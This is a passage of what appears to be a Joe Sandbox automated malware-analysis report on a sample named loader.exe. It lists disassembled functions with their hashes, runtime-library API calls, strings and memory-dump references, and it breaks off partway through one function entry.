Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3336bc549f82a1e5055ae6fd61db86de86ce85cd5e9e5559d4c8c9cc6e57cf47
Instruction ID: 7660b52fdff9c53aee0f457f60b9ebd5684e0ab00068bd4264481baa5b4552d0
Opcode Fuzzy Hash: 3336bc549f82a1e5055ae6fd61db86de86ce85cd5e9e5559d4c8c9cc6e57cf47
Instruction Fuzzy Hash: 7EE11972A605504FDF04897CC5A83DF2FE2476B334F2A2726D9B4AF7D2D65708099B50

Function 0024BD50 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e32e14c1c3dba0fcfe89a0651b5534778d19656a3728b0023620a680ad15aef3
Instruction ID: 652bc09cd085bfb9f4c1d5251df8be4246cdb98587d4255780c475ff70d36d7f
Opcode Fuzzy Hash: e32e14c1c3dba0fcfe89a0651b5534778d19656a3728b0023620a680ad15aef3
Instruction Fuzzy Hash: 69D0923A645A59AFC311CF49E840D41F7B8FB8D670B158066EA0893B20C371FC51CBE0

Function 002590D3 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002591F2
___TypeMatch.LIBVCRUNTIME ref: 00259300
CatchIt.LIBVCRUNTIME ref: 00259351
_UnwindNestedFrames.LIBCMT ref: 00259452
CallUnexpected.LIBVCRUNTIME ref: 0025946D

Strings

81&, xrefs: 002591E9
csm, xrefs: 00259229
@]%, xrefs: 0025926D, 00259275
csm, xrefs: 0025917D
csm, xrefs: 00259110

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: 81&$@]%$csm$csm$csm
API String ID: 4119006552-818018660
Opcode ID: d5d38191fc9e013f2827b70110461c23c72bf8186d8ad733146bc7d4c008c73d
Instruction ID: 6a881bc5a9d96c4377f71d488673dde70a51086b6f1f4a9e43ad7cd75b73018c
Opcode Fuzzy Hash: d5d38191fc9e013f2827b70110461c23c72bf8186d8ad733146bc7d4c008c73d
Instruction Fuzzy Hash: 27B1693182021AEFCF15DFA4C8819AEB7B5FF04312B14405AEC156B252D771DEAACF99

Function 00256130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00256167
___except_validate_context_record.LIBVCRUNTIME ref: 0025616F
_ValidateLocalCookies.LIBCMT ref: 002561F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00256223
_ValidateLocalCookies.LIBCMT ref: 00256278

Strings

csm, xrefs: 0025620D
^%, xrefs: 00256215, 0025621E, 0025622F

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^%$csm
API String ID: 1170836740-290365969
Opcode ID: b0731c60ca1c0131d980e5b10a839ad3a7a0538c614b68cd61d81fac2a4be2c1
Instruction ID: 24461272d99464931334caab02376a4401266f9b80ac7fd8ec72d22bc90ff461
Opcode Fuzzy Hash: b0731c60ca1c0131d980e5b10a839ad3a7a0538c614b68cd61d81fac2a4be2c1
Instruction Fuzzy Hash: EF41F534A20209DBCF10DF68C848AAEBBB4BF05315F548155EC199B392D731AA69CF94

Function 00260308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,002602F3,?,?,?,?,?,?,?,?,?), ref: 002603AE
__alloca_probe_16.LIBCMT ref: 00260469
__alloca_probe_16.LIBCMT ref: 002604F8
__freea.LIBCMT ref: 00260543
__freea.LIBCMT ref: 00260549
__freea.LIBCMT ref: 0026057F
__freea.LIBCMT ref: 00260585
__freea.LIBCMT ref: 00260595

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 364f4a34ed9e511c891f5f394ee4b0f5a76e9843e50ddd4bd6c4503566f8c451
Instruction ID: 570a89f0fac3fad8692a0d265cfd3f25d5ea449f2917dd0c3737beed2bb3431a
Opcode Fuzzy Hash: 364f4a34ed9e511c891f5f394ee4b0f5a76e9843e50ddd4bd6c4503566f8c451
Instruction Fuzzy Hash: 507125729202469FDF219F548CC2BAF77B9AF48311F580056ED05A7281EB70DCB4AF94

Function 0025883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00258831,00255F0D,002555A4), ref: 00258848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00258856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0025886F
SetLastError.KERNEL32(00000000,00258831,00255F0D,002555A4), ref: 002588C1

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2593890700d597591740e533f09be898574a71b734d1f1036838d806973edebb
Instruction ID: 181e92d1616f54782504849737fecf22ccf3a76c04bcaeb1fecf194a5d6a54fe
Opcode Fuzzy Hash: 2593890700d597591740e533f09be898574a71b734d1f1036838d806973edebb
Instruction Fuzzy Hash: C501D83213D21A9DE6252F74BC8EA1A2759EB117B73600329FD11A51F0EFF18C69968C

Function 0025CB54 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\loader.exe, xrefs: 0025CB70

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\loader.exe
API String ID: 0-2389675944
Opcode ID: b3f1fd042360b0f679e36aad4169269155dc551d7fbf8c2a3eb3ffc6e75bcdfd
Instruction ID: 02fb4af0ab13f4c14d732131bf8682099d04beccf8d083d05f7cc7e2d830f937
Opcode Fuzzy Hash: b3f1fd042360b0f679e36aad4169269155dc551d7fbf8c2a3eb3ffc6e75bcdfd
Instruction Fuzzy Hash: 2F21F671220306AFCB20AF65DC82D2AB7ACEF543AB7204515FC1997251FB30EC68DB94

Function 00256F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,CB8E8CE7,?,?,00000000,002625EB,000000FF,?,00257015,00000002,?,002570B1,002583A0), ref: 00256F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00256F9B
FreeLibrary.KERNEL32(00000000,?,?,00000000,002625EB,000000FF,?,00257015,00000002,?,002570B1,002583A0), ref: 00256FBD

Strings

mscoree.dll, xrefs: 00256F82
CorExitProcess, xrefs: 00256F93

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9c0c6d4be1d0398295538fe0d2d61482bb7519b1a032e974c7316f14963a5065
Instruction ID: 91b171cee3b07e10b9935d4ee13932f23c0f48d0af41b7f5d248a2b8d1c7ecac
Opcode Fuzzy Hash: 9c0c6d4be1d0398295538fe0d2d61482bb7519b1a032e974c7316f14963a5065
Instruction Fuzzy Hash: 9301623192865AABDB118F50EC0DFAEB7BCFB04B15F044625E812E26A0DFB49954CA94

Function 0025DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0025DFA2
__alloca_probe_16.LIBCMT ref: 0025E06B
__freea.LIBCMT ref: 0025E0D2

Part of subcall function 0025BC45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,002541E0,?,?,00251007,?,0024FAB5), ref: 0025BC77

__freea.LIBCMT ref: 0025E0E5
__freea.LIBCMT ref: 0025E0F2

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 15c8b9644fdfe7d635177907b2897cc7174fe0c02d6908982e0ee7225c0d601c
Instruction ID: 986c8dcbf2568fad0f59aecb4cb9ad66d08cd5a8273defd585f14ebdc47a5a31
Opcode Fuzzy Hash: 15c8b9644fdfe7d635177907b2897cc7174fe0c02d6908982e0ee7225c0d601c
Instruction Fuzzy Hash: C751D771530216AFDF256F60CC41DBB77A9EF44712B164029FD04E6181EBB1CD78CA68

Function 002594F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002593FE,?,?,00000000,00000000,00000000,?), ref: 0025951D
CatchIt.LIBVCRUNTIME ref: 00259603

Strings

RCC, xrefs: 00259537
MOC, xrefs: 0025952F

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 5859f55e3e137c3566cea9f0db498e3f3498515534107c0b74ca2f195d8d051d
Instruction ID: 683026ba307b18abd27b981e5e0ef7756125d05c754a92dc2fc57928c4da2855
Opcode Fuzzy Hash: 5859f55e3e137c3566cea9f0db498e3f3498515534107c0b74ca2f195d8d051d
Instruction Fuzzy Hash: 3841677190020AEFCF16CF94C881AAE7BB9EF48301F188099F905A7211E735D9A8CB58

Function 0025DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0025DCFA,00000000,?,0026CCD0,?,?,?,0025DC31,00000004,InitializeCriticalSectionEx,002646F8,00264700), ref: 0025DC6B
GetLastError.KERNEL32(?,0025DCFA,00000000,?,0026CCD0,?,?,?,0025DC31,00000004,InitializeCriticalSectionEx,002646F8,00264700,00000000,?,0025971C), ref: 0025DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0025DC9D

Strings

api-ms-, xrefs: 0025DC82

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6b49698fbfe501670bc3fd2beb2388d51710b45179d7bcb305f8766780ed7829
Instruction ID: ec46a85c5822dff356d531a0e93fb94fef6302bc80af3d360fac48d54d125535
Opcode Fuzzy Hash: 6b49698fbfe501670bc3fd2beb2388d51710b45179d7bcb305f8766780ed7829
Instruction Fuzzy Hash: FDE04830250205BFEF202F61ED0AB583B59AB01B57F108021FD0DE80E1EFF2A865D548

Function 0025E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(CB8E8CE7,00000000,00000000,?), ref: 0025E64B

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0025E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0025E8E3
GetLastError.KERNEL32 ref: 0025E986

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 70d23200c113217b2b2a4dc9abc272d61bb2de4779c6cbe9dadd868aaf9791d5
Instruction ID: 22ebe513b7329a7d2eb4a9a7cbbffd70cf4473396eb0d7c5488e47ca29418c59
Opcode Fuzzy Hash: 70d23200c113217b2b2a4dc9abc272d61bb2de4779c6cbe9dadd868aaf9791d5
Instruction Fuzzy Hash: 58D1BB71D102489FCF19CFA8C8849ADFBB8FF09311F29412AE865EB251D630AA56CF54

Function 00258EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00258FC3
___AdjustPointer.LIBCMT ref: 00258FE6
___AdjustPointer.LIBCMT ref: 00259082

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6547b46a2685e850256467cbae39b5bb00a4c92ac82b73050451aa78019471d1
Instruction ID: 03c141280c4a8897a15ff7e7f8d3c6626093b268292bc30286acf0d814370ea5
Opcode Fuzzy Hash: 6547b46a2685e850256467cbae39b5bb00a4c92ac82b73050451aa78019471d1
Instruction Fuzzy Hash: D451D171635202EFEB298F14D841B7A73A5EF04302F14082DED45975D1EBB1ECA8CB98

Function 0025C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

GetLastError.KERNEL32 ref: 0025C61C
__dosmaperr.LIBCMT ref: 0025C623
GetLastError.KERNEL32(?,?,?,?), ref: 0025C65D
__dosmaperr.LIBCMT ref: 0025C664

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f89b51d601ae3dc5803fe4e00eee38ab0613ccd6a579360772b347aeab9d000e
Instruction ID: 21ed4d63c8830745ffef1300c01e5526130a3d39cc12b2f0764a152e64f297de
Opcode Fuzzy Hash: f89b51d601ae3dc5803fe4e00eee38ab0613ccd6a579360772b347aeab9d000e
Instruction Fuzzy Hash: BD21B671220306AF9B119F65888192AB7ACEF853667608428FC15D7551FB70ED64CF98

Function 0025D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0025D235

Part of subcall function 0025D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,002587B1,?,00000000,?), ref: 0025D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025D28D

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a3d4e3f901dcc857371a4aa0b31dc9771c0240f0d46038d82d2774c75938e535
Instruction ID: b99cb1e09e5c7e99c8c780d1d7eea01b070f155d0b8c2adcc3d0bf598ea1d63a
Opcode Fuzzy Hash: a3d4e3f901dcc857371a4aa0b31dc9771c0240f0d46038d82d2774c75938e535
Instruction Fuzzy Hash: D01161B15215197E6B312B716C89CAF696CDE95397B104424FC01D2142FFB0CD6A4979

Function 002607C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000), ref: 002607D7
GetLastError.KERNEL32(?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?,?,?,0025E320,00000000), ref: 002607E3

Part of subcall function 00260840: CloseHandle.KERNEL32(FFFFFFFE,002607F3,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?,?), ref: 00260850

___initconout.LIBCMT ref: 002607F3

Part of subcall function 00260815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002607B1,0025FF1E,?,?,0025E9DA,?,00000000,00000000,?), ref: 00260828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0025FF31,00000000,00000001,00000000,?,?,0025E9DA,?,00000000,00000000,?), ref: 00260808

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6f7f305ef27482cea997056cac3d49f91f02d3cfdf804e389ccc4d98d7d1299a
Instruction ID: 24a98747bf9a8eebc277b662fcf28eeb9497838dc9e7a53946f5c3fc13af0477
Opcode Fuzzy Hash: 6f7f305ef27482cea997056cac3d49f91f02d3cfdf804e389ccc4d98d7d1299a
Instruction Fuzzy Hash: E7F01C36010119BBCF225F91EC0898B3F2AFF087A1F00C461FA0886121CAB28CB0AFD0

Function 00258D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00258D75

Strings

csm, xrefs: 00258D97
csm, xrefs: 00258E08

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
